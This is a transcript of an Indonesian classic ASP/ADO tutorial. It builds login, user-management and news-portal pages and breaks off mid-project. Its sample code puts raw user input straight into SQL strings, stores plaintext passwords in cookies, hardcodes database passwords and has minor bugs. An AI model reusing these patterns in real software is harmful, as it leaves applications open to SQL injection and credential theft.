introduction to asp
Post on 14-Jan-2015
2.645 Views
Preview:
DESCRIPTION
TRANSCRIPT
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 1
Introduction to ASP
Suatu ASP file dapat mengandung text, , HTML tags dan scripts. Scripts dalam suatu file
ASP akan dijalankan pada sisi server.
Berbeda dengan JavaScript ataupun VBScript yang merupakan script yang dijalankan
pada sisi client dimana source code halaman tidak dapat disembunyikan dari user pada
saat user menggunakan fasilitas view Source.
Script ASP akan diproses diserver, dan kemudian hasil server akan dikirim ke browser
client dalam bentuk response, dan kemudian kalau user melakukan view Source, maka
yang nampak adalah HTML maupun script yang merupakan hasil proses, jadi ASP Script
yang sebenarnya tetap tersembunyi dari user.
What you should already know
Sebelum anda mulai belajar, anda perlu memiliki pengetahuan :
� WWW, HTML dan dasar pengembangan Web pages
� Bahasa scripting VBScript dan Visual Basic.
Pembelajaran ASP tidak terlepas dari penguasaan terhadap HTML, karena semua
response yang akan dikirim dari sisi server ke sisi client (browser) harus ditampilkan
dalam bentuk struktur HTML.
<html>
<head>
</head>
<body>
</body>
</html>
Jadi anda harus menguasai dasar dari HTML, pembuatan tabel, form, link dll. Jadi saran
saya kalau anda belum mengerti HTML, sebaiknya mempelajarinya terlebih dahulu.
Kemudian ASP menggunakan dialek VBScript dan VB, dimana jika anda telah
menguasai VB, maka proses pembelajaran ASP script akan lebih mudah.
What is ASP?
• ASP singkatan dari Active Server Pages
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 2
• ASP adalah suatu program yang berjalan didalam IIS
• IIS singkatan dari Internet Information Services
• IIS merupakan free component pada Windows 2000 dan XP
• IIS merupakan bagian dari Windows NT 4.0 Option Pack
• PWS merupakan versi IIS yang lebih kecil.
• PWS dapat ditemukan pada Windows 95/98 CD
ASP Compatibility
• ASP merupakan Technology Microsoft
• Untuk menjalankan IIS anda harus memiliki Windows NT 4.0 atau yang lebih
• Untuk menjalankan PWS anda harus memiliki Windows 95 atau lebih
• ChiliASP adalah teknologi yang menjalankan ASP tanpa Windows OS
• InstantASP adalah teknologi lain yang menjalankan ASP tanpa Windows
What is an ASP File?
• Suatu file ASP pada dasarnya sama seperti suatu HTML file
• Suatu file ASP dapat mengandung text, HTML, XML, dan scripts
• Scripts dalam suatu file ASP dijalankan pada sisi Server
• Suatu file ASP memiliki ekstension ".asp"
How Does ASP Differ from HTML?
• Ketika browser meminta suatu HTML file, server akan mengirim file tersebut.
• Ketika browser meminta suatu ASP file, IIS mengirim permintaan tersebut ke
ASP engine. ASP engine membaca ASP file, baris per baris, dan menjalankan
script dalam file tersebut, hasil eksekusi tersebut dikirim ke browser.
What can ASP do for you?
• Mengatur tampilan web page secara dinamis
• Melakukan respon terhadap permintaan dan data yang dikirim oleh user.melalui
form.
• Mengakses data atau database dan mengirim hasilnya ke browser
• Mengatur tampilan Web page yang lebih sesuai dengan individu
• Kelebihan ASP dari CGI dan Perl adalah lebih sederhana dan cepat.
• Lebih aman karena kode ASP tidak dapat ditampilkan oleh browser
• Hasil file ASP dapat ditampilkan oleh browser manapun.
• Menurunkan trafik network.
How to install IIS and run ASP on Windows 2000
1. From your Start Button, go to Settings, and Control Panel
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 3
2. In the Control Panel window select Add/Remove Programs
3. In the Add/Remove window select Add/Remove Windows Components
4. In the Wizard window check Internet Information Services, click OK
5. An Inetpub folder will be created on your harddrive
6. Open the Inetpub folder, and find a folder named wwwroot
7. Create a new folder, like "MyWeb", under wwwroot.
8. Use a text editor to write some ASP code, save the file as "test1.asp" in the
"MyWeb" folder
9. Make sure your Web server is running - The installation program has added a new
icon on your task bar (this is the IIS symbol). Click on the icon and press the Start
button in the window that appears.
10. Open your browser and type in "http://localhost/MyWeb/test1.asp", to view your
first ASP page
How to install IIS and run ASP on Windows XP Professional
Note: You cannot run ASP on Windows XP Home Edition.
1. Insert the Windows XP Professional CD-Rom into your CD-Rom Drive
2. From your Start Button, go to Settings, and Control Panel
3. In the Control Panel window select Add/Remove Programs
4. In the Add/Remove window select Add/Remove Windows Components
5. In the Wizard window check Internet Information Services, click OK
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 4
6. An Inetpub folder will be created on your harddrive
7. Open the Inetpub folder, and find a folder named wwwroot
8. Create a new folder, like "MyWeb", under wwwroot.
9. Use a text editor to write some ASP code, save the file as "test1.asp" in the
"MyWeb" folder
10. Make sure your Web server is running - The installation program has added a new
icon on your task bar (this is the IIS symbol). Click on the icon and press the Start
button in the window that appears.
11. Open your browser and type in "http://localhost/MyWeb/test1.asp", to view your
first ASP page
Halaman ASP anda yang pertama ... Step by Step
1. Ketik file berikut dengan notepad
<HTML>
<HEAD>
<TITLE>Halaman ASP saya yang pertama</TITLE>
</HEAD>
<BODY>
<%
Response.Write("Hello World...")
%>
</BODY>
</HTML>
2. Simpan file sebagai test1.asp pada folder c:\Inetpub\wwwroot\MyWeb\test1.asp
3. Untuk menampilkannya aktifkan browser anda dan ketik
http://localhost/MyWeb/test1.asp
4. Anda telah melakukannya! Selamat untuk halaman web ASP anda yang pertama.
The Basic Syntax Rule
Suatu ASP file normalnya mengandung HTML tags, sama seperti file HTML, dan dapat
mengandung server scripts, yang dibuka dengan tanda <% dan ditutup dengan %>.
Server scripts akan dijalankan pada server, dan dapat mengandung ekspresi, perintah,
procedure, atau operatir yang sah pada vbscript.
Tata Cara Penulisan ASP
Suatu Active Server Pages terdiri dari elemen-elemen berikut :
- Tag-tag HTML
- Script
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 5
- Text
Untuk menandai script dari HTML, gunakan tanda baca <% dan %>. Tag-tag dan
ketentuan HTMLnya tidak berubah, sebagai contohnya perhatikan baris berikut ini :
<% For x=1 to 5 %>
berfungsi memulai suatu perulangan VBScript For Next. Tanda baca <% dan %>
memberitahukan kepada IIS bahwa baris tersebut adalah script dan bukan suatu HTML.
Berikut ini menunjukkan suatu gabungan antara HTML dengan script:
<HTML>
<HEAD>
<TITLE>Menandai ASP Script dari HTML</TITLE>
</HEAD>
<BODY>
Waktu Sekarang adalah <%=Now()%>
</BODY>
</HTML>
Tag-tag seperti <HEAD, dan <BODY> dikirim kembali ke browser bersama dengan
tulisan Waktu sekarang adalah :. Tulisan <%=Now%> tidak dikirim kembali ke browser,
karena diapit oleh tanda baca <% dan %>. Tanda sama dengan (=) menentukan bahwa
output harus dikirim ke browser. Dalam hal ini fungsi now pada VBScript akan
mengembalikan waktu sekarang, dan waktu sekarang tersebut akan dikirim kembali ke
browser.
Anda dapat juga melakukan hal seperti berikut ini:
<HTML>
<HEAD>
<TITLE>Menandai ASP Script dari HTML</TITLE>
</HEAD>
<BODY>
<% FOR I = 1 TO 5 %>
Selamat Belajar ASP
<% NEXT%>
</BODY>
</HTML>
script juga dapat diberi jarak baris, seperti contoh berikut ini:
<HTML>
<HEAD>
<TITLE>Menandai ASP Script dari HTML</TITLE>
</HEAD>
<BODY>
<%
iNum = 15
If iNum > 10 Then
strMsg = "Selamat Petang"
Else
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 6
StrMsg = "Selamat Pagi"
End
Response.write(StrMsg) `Dikirim ke browser
%>
</BODY>
</HTML>
The Response Object
Metoda Write pada Response Object digunakan untuk mengirim isi ke browser, lihat
halaman asp anda yang pertama.
User Input
Object Request dapat digunakan untuk menerima informasi dari user melalui form, ketik
script berikut ke testform1.asp:
<html>
<head>
</head>
<body>
<form method="get" action="testterima1.asp">
Nama: <input type="text" name="nama">
<br />
Umur: <input type="text" name="umur">
<br /><br />
<input type="submit" value="Submit">
</form>
</body>
</html>
Request.QueryString
Perintah Request.QueryString digunakan untuk mengumpulkan informasi dari suatu form
yang di submit dengan method="get", ketik script berikut ke testterima1.asp
<html>
<head>
</head>
<body>
Selamat pagi
<%
response.write("nama :" & request.querystring("nama"))
response.write("umur :" & request.querystring("umur"))
%>
</body>
</html>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 7
Jalankan testform1.asp, ketik Hendra Soewarno, dan umur 30, klik submit.
Request.Form
Perintah Request.Form digunakan untuk mengumpulkan data dari suatu form yang
disubmit user dengan menggunakan method="post", ketik script berikut ke testform2.asp
<html>
<head>
</head>
<body>
<form method="post" action="testterima2.asp">
Nama: <input type="text" name="nama">
<br />
Umur: <input type="text" name="umur">
<br /><br />
<input type="submit" value="Submit">
</form>
</body>
dan ketik script berikut ke testterima2.asp
<html>
<head>
</head>
<body>
Selamat pagi
<%
response.write("nama : " & request.form("nama"))
response.write("umur :" & request.form ("umur"))
%>
</body>
</html>
Diskusi :
Diskusikan dengan instruktur anda tentang perbedaan metode Get dan Post, dan
keunggulan serta kelemahan.
Salah satu keunggulan pemakaian metode Post, adalah request yang kita kirim ke Server
tidak tercantum pada URL browser kita yang dapat berimplikasi pada masalah security,
dimana user dapat mempelajari bagaimana program kita melakukan request dan response
yang dihasilkan.
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 8
Simple database Access using ADO and ASP
Buatlah database access (c:\Inetpub\wwwroot\MyWeb\dbo\test1.mdb) dan table test1
dengan struktur berikut :
Nama Text 30
Umur Integer
Proteksi database anda dengan password “123456”
The Connection
Langkah awal untuk mengakses database adalah membuka koneksi ke sumber data,
dalam hal ini kita akan menggunakan ADO Connection object.
Const adModeReadWrite = 3
Dim Connection Dim ConnectionString
Set Connection = Server.CreateObject("ADODB.Connection")
Connection.ConnectionTimeout = 30
Connection.CommandTimeout = 80
Connection.Mode = adModeReadWrite
ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _
Server.MapPath("dbo/test1.mdb") & _
";Jet OLEDB:Database Password=123456"
Connection.Open ConnectionString
Update Using SQL Statement
Dim SSQL
Dim Affected
nama = request.querystring("nama")
umur = request.querystring("umur")
SSQL = "Insert Into test1 (nama,umur) values ('" & nama & "'," & umur &
");"
Connection.Execute SSQL,Affected
If Affected > 0 Then
Response.write ("Sukses")
Else
Response.write ("Gagal")
End If
Close Connection
Pada akhir script anda yang membuka koneksi perlu dilakukan penutupan dengan metoda
Close.
Connection.Close
Set Connection = Nothing
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 9
Show Table Records Using Recordset
Proses akses database yang biasanya dilakukan adalah proses pengambilan data dari table
dalam database.
Const adOpenForwardOnly = 0
Const adLockOptimistic = 3
Dim rs
set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open "SELECT * FROM Test1", Connection, adOpenForwardOnly,
adLockOptimistic
Dim item
For each item in rs.Fields
Response.Write item.Name & "<br>"
next
' This will list each field in each record
Do While not rs.EOF
For each item in rs.Fields
Response.Write item.Value & "<br>"
Next
Rs.MoveNext
Loop
Anda dapat juga mengambil isi recordset dengan rs("namafield")
Close Recordset
Selalu untuk ingat menutup recordset setelah selesai menggunakannya.
rs.Close
set rs = nothing
Delete Record
Dengan petunjuk instruktur buatlah proses hapus record.
Trouble Shooting
Jika pada proses update data dengan perintah INSERT INTO ataupun UPDATE dan
DELETE, anda mendapatkan pesan kesalahan Operation must use updateable query.
Penyebab dari masalah ini karena permission untuk User IUSR_<machine name> tidak
diset untuk folder dimana file .mdb anda berada :
Pada folder .mdb berada, lakukan klik kanan, pilih “Properties”, “Security”, jika tab
“Security” tidak muncul, gunakan menu “Tools”, “Golder Options”, dan hilangkan check
pada "Simple File sharing")
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 10
The #include Directive
Anda dapat menyisipkan isi dari suatu asp file ke file asp yang lain sebelum dieksekusi
oleh server, untuk melakukan hal tersebut anda dapat menggunakan direktif #include
How to Use the #include Directive
Berikut ini adalah "mylib.asp":
<%
Const adModeReadWrite = 3
Const adOpenForwardOnly = 0
Const adLockOptimistic = 3
Dim Connection
Dim ConnectionString
Dim Affected
Dim SSQL
Dim Username
Dim Password
sub bukakoneksi()
Set Connection = Server.CreateObject("ADODB.Connection")
Connection.ConnectionTimeout = 30
Connection.CommandTimeout = 80
Connection.Mode = adModeReadWrite
ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & _
Server.MapPath("dbo/test1.mdb") & _
";Jet OLEDB:Database Password=indoprog"
Connection.Open ConnectionString
end sub
function periksalogin()
Username = Request.Cookies("Username")
Password = Request.Cookies("Password")
Dim rs
set rs = Server.CreateObject("ADODB.RecordSet")
SSQL = "Select count(*) as Ada From Operator Where Username='" &
Username & "' And Password='" & Password & "';"
rs.Open sSQL,Connection,adOpenForwardOnly,adLockOptimistic
periksalogin = rs("Ada")
rs.close
end function
sub tutupkoneksi()
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 11
Connection.Close
set Connection = nothing
end sub
%>
Bukalah kembali database Test1.mdb dan Tambahkan table Operator :
Username Text 30
Password Text 30
Lasttime DateTime
Rancanglah form login berikut dan simpan ke index.asp:
Please Login
Username
Password
Submit Reset
Dengan menggunakan frontpage, yang akan mengirim Username dan Password secara
metode post ke login.asp.
Maka kita dapat menyisipkan “Mylib.asp” jika dibutuhkan sub bukakoneksi dan
tutupkoneksi.
Ketik program berikut ke login.asp.
<!--#include file="mylib.asp"-->
<%
Dim Username
Dim Password
Dim Affected
Username = Request.Form("Username")
Password = Request.Form("Password")
Call BukaKoneksi()
SSQL = "Update Operator Set Lasttime = '" & Now & "' Where Username='"
& Username & "' And Password = '" & Password & "';"
Connection.Execute SSQL, Affected
%>
<html>
<head>
<title>Menu utama</title>
</head>
<body>
<% If Affected = 0 Then %>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 12
<p>Invalid Username or Password</p>
<% Else
Response.Cookies("username") = Username
Response.Cookies("username").expires = DateAdd("s",360,now)
Response.Cookies("password") = Password
Response.Cookies("username").expires = DateAdd("s",360,now)
%>
<p>Tambah User</p>
<p>Perbaiki User</p>
<p>Hapus User</p>
<p>Tampil User</p>
<p>Keluar</p>
<% End If %>
</body>
</html>
<%
Call TutupKoneksi()
%>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 13
What is a Cookie?
Cookie sering digunakan untuk mengindentifikasi user. Sebuah cookie adalah file kecil
yang ditanamkan pada computer user. Setiap kali computer yang sama melakukan
permintaan terhadap suatu halaman dengan browser, akan mengirim cookie tersebut juga.
How to Create a Cookie
Perintah "Response.Cookies" digunakan untuk membuat cookie.
Catatan: Perintah Response.Cookies harus ditempatkan sebelum tag <html>.
Pada contoh berikut, kita akan membuat sebuah cookie dengan nama "username" dan
memberikan nilai sesuai dengan isi variable username kepadanya :
<%
Response.Cookies("username") = Username
%>
Anda dapat juga memberikan suatu setting expire terhadap cookie dengan penulisan:
<%
Response.Cookies("username") = Username
Response.Cookies("username").expires = DateAdd("s",360,now)
%>
How to Retrieve a Cookie Value
Perintah "Request.Cookies" digunakan untuk mengambil nilai dari suatu cookie.
Pada contoh berikut, kita akan menerima nilai dari cookie yang bernama "username" dan
“password “.
<%
Username = Request.Cookies("Username") Password =
Request.Cookies("Password")
%>
Program AddLogin.asp
New Login
Username
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 14
Password
Retype
Submit Reset
<!--#include file="mylib.asp"-->
<%
Dim Id
Call BukaKoneksi()
If periksalogin() = 0 then
Response.Redirect("index.asp")
End If
Id = Request.QueryString("Id")
%>
<html>
<head>
<title>New Login</title>
</head>
<body>
<center>
<% if Id = "" Then %>
<form method="POST" action="addlogin.asp?Id=1">
<table border="1" cellspacing="0" style="border-collapse: collapse"
bordercolor="#111111" width="300" id="AutoNumber1">
<tr>
<td width="100%" colspan="2">
<p align="left">New Login</td>
</tr>
<tr>
<td width="50%">
<p align="left">Username</td>
<td width="50%">
<p align="left"><input type="text" name="NewUsername"
size="20"></td>
</tr>
<tr>
<td width="50%">
<p align="left">Password</td>
<td width="50%">
<p align="left"><input type="password" name="NewPassword"
size="20"></td>
</tr>
<tr>
<td width="50%">
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 15
<p align="left">Retype</td>
<td width="50%">
<p align="left"><input type="password" name="NewRetype"
size="20"></td>
</tr>
<tr>
<td width="50%">
<p align="left"> </td>
<td width="50%">
<p align="left"><input type="submit" value="Submit"
name="B1"><input type="reset" value="Reset" name="B2"></td>
</tr>
</table>
</form>
<%
Else
Dim NewUsername
Dim NewPassword
Dim NewRetype
NewUsername = Request.form("NewUsername")
NewPassword = Request.form("NewPassword")
NewRetype = Request.form("NewRetype")
If NewPassword <> NewRetype Then
response.write("Password and Retype not match !")
Else
SSQL = "Insert Into Operator (Username, [Password]) Values ('" &
NewUsername & "','" & NewPassword & "');"
Connection.Execute SSQL, Affected
If Affected > 0 Then
Response.write ("Sukses")
Else
Response.write ("Gagal")
End If
End If
End If %>
</center>
</body>
</html>
<%
Call TutupKoneksi()
%>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 16
ASP The Global.asa file
Global.asa file merupakan suatu file optional yang mengandung deklarasi objek, variable,
dan metoda yang dapat diakses oleh semua aplikasi ASP.
The Global.asa file
File Global.asa dapat mengandung informasi berikut:
• Application events
• Session events
• <object> declarations
Note: File Global.asa harus disimpan pada root directory aplikasi ASP, dan setiap
aplikasi hanya dapat memiliki satu file Global.asa.
Events in Global.asa
Pada Global.asa anda dapat memberitahukan kepada aplikasi/session kapan untuk
memulai dan kapan harus berakhir.
Application_OnStart – Event ini terjadi ketika pemakai pertama membuka halaman
aplikasi ASP.
Session_OnStart – Event ini terjadi setiap kali seorang user baru membuka halaman
yang pertama suatu aplikasi ASP.
Session_OnEnd – Event ini terjadi setelah user mengakhiri suatu session, atau user tidak
melakukan request untuk jangka waktu 20 menit.
Application_OnEnd – Event ini terjadi ketika Web server di stop.
Suatu file Global.asa dapat ditulis sebagai berikut:
<script language="vbscript" runat="server">
Sub Application_OnStart
Const adModeReadWrite = 3
Const adOpenForwardOnly = 0
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 17
Const adLockOptimistic = 3
Dim Connection
Dim ConnectionString
Set Connection = Server.Createobject("ADODB.Connection")
Connection.ConnectionTimeout = 30
Connection.CommandTimeout = 80
Connection.Mode = adModeReadWrite
ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source="
& _
Server.MapPath("dbo/test1.mdb") & _
";Jet OLEDB:Database Password=indoprog"
Connection.Open ConnectionString
Set Application("Connection") = Connection
End Sub
Sub Session_OnStart
Application("Connection").Execute "Update Visitor Set
Visitor=Visitor+1;"
Session.TimeOut = 5
End Sub
Sub Application_OnEnd
Application("connection").close
End Sub
</script>
Note: Kita tidak dapat menggunakan script ASP (<% and %>) pada Global.asa file.
Bukalah file test.mdb anda dan tambahkan sebuah table visitor, yang berisi sebuah field
visitor.
Contoh modifikasi dengan menggunakan variable level Application dan Session pada file
login.asp :
<%
Session("Username") = ""
Session("Password") = ""
%>
<html>
<head>
<title>Please Login</title>
</head>
<body>
<form method="POST" action="login.asp">
<center>
Please Login
<table border="1" cellspacing="0" width="300">
<tr>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 18
<td width="50%">Username</td>
<td width="50%"><input type="text" name="username"
size="20"></td>
</tr>
<tr>
<td width="50%">Password</td>
<td width="50%"><input type="password" name="password"
size="20"></td>
</tr>
<tr>
<td width="50%"> </td>
<td width="50%"><input type="submit" value="Submit"
name="B1"><input type="reset" value="Reset" name="B2"></td>
</tr>
</table>
Jumlah Visitor Sekarang = <% =Application("Visitors") %>
</center>
</div>
</form>
</body>
</html>
Hasil modifikasi pada "mylib.asp":
<%
Const adOpenForwardOnly = 0
Const adLockOptimistic = 3
Dim Affected
Dim SSQL
Dim Username
Dim Password
function periksalogin()
Username = Session("Username")
Password = Session("Password")
Dim rs
set rs = Server.CreateObject("ADODB.RecordSet")
SSQL = "Select count(*) as Ada From Operator Where Username='" &
Username & "' And Password='" & Password & "';"
rs.Open
sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic
periksalogin = rs("Ada")
rs.close
end function
%>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 19
Hasil modifikasi pada “login.asp” :
<!--#include file="mylib.asp"-->
<%
Username = Request.Form("Username")
Password = Request.Form("Password")
SSQL = "Update Operator Set Lasttime = '" & Now & "' Where Username='"
& Username & "' And Password = '" & Password & "';"
Application("Connection").Execute SSQL, Affected
%>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-
1252">
<title>New Page 1</title>
</head>
<body>
<% If Affected = 0 Then %>
<p>Invalid Username or Password</p>
<% Else
Session("Username") = Username
Session("Password") = Password
%>
<p><a href="addlogin.asp">Tambah User</a></p>
<p>Perbaiki User</p>
<p>Hapus User</p>
<p>Tampil User</p>
<p>Keluar</p>
<% End If %>
</body>
</html>
Coba anda lakukan modifikasi file "addlogin.asp".
<%
Session.Abandon
%>
<html>
<head>
<title>Sampai Jumpa</title>
</head>
<body>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 20
<center>
Sampai Jumpa. <br>
Jumlah Visitor Sekarang = <% =Application("Visitors") %>
</center>
</body>
</html>
Proyek :
Membuat Portal Berita
Dengan petunjuk instruktur anda buatlah homepage untuk portal berita dengan
kemampuan sebagai berikut :
1. Berita di simpan dalam suatu database file
2. Berita di isi dari web page yang telah diproteksi dengan username dan password
3. Berita ditampilkan jika sudah di approve.
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 21
Project Portal Berita
Tambahkan sebuah table dengan nama berita dengan struktur sebagai berikut :
Judul text 50
Ringkasan text 255
Isi memo
Waktu date/time
Username text 20
Status text 1
Id Autonumber
Primary Key Id
Perbaiki table operator, dengan menambah sebuah field Level.
global.asa
<script language="vbscript" runat="server">
Sub Application_OnStart
Const adModeReadWrite = 3
Const adOpenForwardOnly = 0
Const adLockOptimistic = 3
Dim Connection
Dim ConnectionString
Set Connection = Server.Createobject("ADODB.Connection")
Connection.ConnectionTimeout = 30
Connection.CommandTimeout = 80
Connection.Mode = adModeReadWrite
ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source="
& _
Server.MapPath("dbo/test1.mdb") & _
";Jet OLEDB:Database Password=indoprog"
Connection.Open ConnectionString
Set Application("Connection") = Connection
Application("visitors")=0
End Sub
Sub Session_OnStart
Application("Connection").Execute "Update Visitor Set
Visitor=Visitor+1;"
Application.Lock
Application("visitors")=Application("visitors")+1
Application.UnLock
Session.TimeOut = 5
End Sub
Sub Session_OnEnd
Application.Lock
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 22
Application("visitors")=Application("visitors")-1
Application.UnLock
End Sub
Sub Application_OnEnd
Application("connection").close
End Sub
</script>
mylib.asp
<%
Const adModeReadWrite = 3
Const adOpenForwardOnly = 0
Const adLockOptimistic = 3
'Global variabel
Dim Affected
Dim SSQL
Dim Username
Dim Password
Dim Level
function periksalogin()
Username = Session("Username")
Password = Session("Password")
Dim rs
set rs = Server.CreateObject("ADODB.RecordSet")
SSQL = "Select count(*) as Ada From Operator Where Username='" &
Username & "' And Password='" & Password & "';"
rs.Open
sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic
periksalogin = rs("Ada")
rs.close
end function
%>
index.asp
<%
Session("Username") = ""
Session("Password") = ""
Session("Level") = ""
%>
<html>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 23
<head>
<title>Please Login</title>
</head>
<body>
<form method="POST" action="login.asp">
<center>
Please Login
<table border="1" cellspacing="0" width="300">
<tr>
<td width="50%">Username</td>
<td width="50%"><input type="text" name="username"
size="20"></td>
</tr>
<tr>
<td width="50%">Password</td>
<td width="50%"><input type="password" name="password"
size="20"></td>
</tr>
<tr>
<td width="50%"> </td>
<td width="50%"><input type="submit" value="Submit"
name="B1"><input type="reset" value="Reset" name="B2"></td>
</tr>
</table>
Jumlah Visitor Sekarang = <% =Application("Visitors") %>
</center>
</div>
</form>
</body>
</html>
login.asp
<!--#include file="mylib.asp"-->
<%
Username = Request.Form("Username")
Password = Request.Form("Password")
SSQL = "Update Operator Set Lasttime = '" & Now & "' Where Username='"
& Username & "' And Password = '" & Password & "';"
Application("Connection").Execute SSQL, Affected
%>
<html>
<head>
<title>Login status</title>
</head>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 24
<body>
<%
If Affected = 0 Then
%>
<p>Invalid Username or Password</p>
<%
Else
Session("Username") = Username
Session("Password") = Password
'Ambil level operator
Dim rs
set rs = Server.CreateObject("ADODB.RecordSet")
SSQL = "Select [Level] From Operator Where Username='" & Username &
"' And Password='" & Password & "';"
rs.Open
sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic
Level = rs("Level")
rs.close
Session("Username") = Username
Session("Password") = Password
Session("Level") = Level
If Level = "R" Then
%>
<p><a href="listberita.asp">Tampil Berita</a></p>
<p><a href="addlogin.asp">Tambah User</a></p>
<p>Perbaiki User</p>
<p>Hapus User</p>
<p>Tampil User</p>
<p><a href="logout.asp">Keluar</a></p>
<%
Else
Response.Redirect("listberita.asp")
End If
End If %>
</body>
</html>
addlogin.asp
<!--#include file="mylib.asp"-->
<%
Dim Id
If periksalogin() = 0 or Session("Level") <> "R" then
Response.Redirect("index.asp")
End If
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 25
Id = Request.QueryString("Id")
%>
<html>
<head>
<title>New Login</title>
</head>
<body>
<center>
<% if Id = "" Then %>
<form method="POST" action="addlogin.asp?Id=1">
<table border="1" width="300">
<tr>
<td width="100%" colspan="2">
<p align="center">New Login</td>
</tr>
<tr>
<td width="50%">
<p align="left">Username</td>
<td width="50%">
<p align="left"><input type="text" name="NewUsername"
size="20"></td>
</tr>
<tr>
<td width="50%">
<p align="left">Password</td>
<td width="50%">
<p align="left"><input type="password" name="NewPassword"
size="20"></td>
</tr>
<tr>
<td width="50%">
<p align="left">Retype</td>
<td width="50%">
<p align="left"><input type="password" name="NewRetype"
size="20"></td>
</tr>
<tr>
<td width="50%">
<p align="left">Level</td>
<td width="50%">
<p align="left"><input type="text" name="NewLevel" size="1"></td>
</tr>
<tr>
<td width="50%">
<p align="left"> </td>
<td width="50%">
<p align="left"><input type="submit" value="Submit"
name="B1"><input type="reset" value="Reset" name="B2"></td>
</tr>
</table>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 26
</form>
<%
Else
Dim NewUsername
Dim NewPassword
Dim NewRetype
Dim NewLevel
NewUsername = Request.form("NewUsername")
NewPassword = Request.form("NewPassword")
NewRetype = Request.form("NewRetype")
NewLevel = Request.form("NewLevel")
If NewPassword <> NewRetype Then
response.write("Password and Retype not match !")
Else
SSQL = "Insert Into Operator (Username, [Password],[Level])
Values ('" & NewUsername & "','" & NewPassword & "','" & NewLevel &
"');"
Application("Connection").Execute SSQL, Affected
If Affected > 0 Then
Response.write ("Sukses")
Else
Response.write ("Gagal")
End If
End If
End If %>
</center>
</body>
</html>
logout.asp
<%
Session.Abandon
%>
<html>
<head>
<title>Sampai Jumpa</title>
</head>
<body>
<center>
Sampai Jumpa. <br>
Jumlah Visitor Sekarang = <% =Application("Visitors") %>
</center>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 27
</body>
</html>
listberita.asp
<!--#include file="mylib.asp"-->
<%
Dim Id
If periksalogin() = 0 then
Response.Redirect("index.asp")
End If
Id = Request.QueryString("Id")
%>
<html>
<head>
<title>List Berita</title>
</head>
<%
Dim rs
set rs = Server.CreateObject("ADODB.RecordSet")
If Session("Level") = "R" Then
SSQL = "Select * From Berita Where Status='N' Order By Waktu DESC;"
Else
SSQL = "Select * From Berita Where Username='" & Username & "' And
Status='N' Order By Waktu DESC;"
End If
rs.Open
sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic
%>
<table border="1" width="620">
<tr>
<td>ID</td><td>JUDUL</td><td>WAKTU</td><td>Username</td><td>ACTION</td>
</tr>
<%
Do while not rs.eof
If Session("Level") = "R" Then
%>
<td><% =rs("ID") %> </td><td><% =rs("JUDUL")
%> </td><td><% =rs("WAKTU") %> </td>
<td><% =rs("USERNAME") %> </td>
<td>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 28
<a href="viewberita.asp?idberita=<% =rs("ID") %>" >View</a>,
<a href="approveberita.asp?idberita=<% =rs("ID") %>"
>Approve</a>,
Reject
</td>
<%
Else%>
<td><% =rs("ID") %> </td><td><% =rs("JUDUL")
%> </td><td><% =rs("WAKTU") %> </td>
<td><% =rs("USERNAME") %> </td>
<td>
<a href="viewberita.asp?idberita=<% =rs("ID") %>" >View</a>,
<a href="editberita.asp?idberita=<% =rs("ID") %>" >Edit</a>,
Delete
</td>
<%
End If
rs.movenext
Loop
%>
</table>
<body>
<center>
<p></p>
</center>
</body>
</html>
addberita
<!--#include file="mylib.asp"-->
<%
Dim Id
If periksalogin() = 0 then
Response.Redirect("index.asp")
End If
Id = Request.QueryString("Id")
%>
<html>
<head>
<title>New Berita</title>
</head>
<body>
<center>
Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.
Indoprog 29
<% if Id = "" Then %>
<form method="POST" action="addberita.asp?Id=1">
<table border="1" width="300">
<tr>
<td width="100%" colspan="2">
<p align="center">New Berita</td>
</tr>
<tr>
<td width="50%">
<p align="left">Judul</td>
<td width="50%">
<p align="left"><input type="text" name="NewJudul"
size="50"></td>
</tr>
<tr>
<td width="50%">
<p align="left">Ringkasan</td>
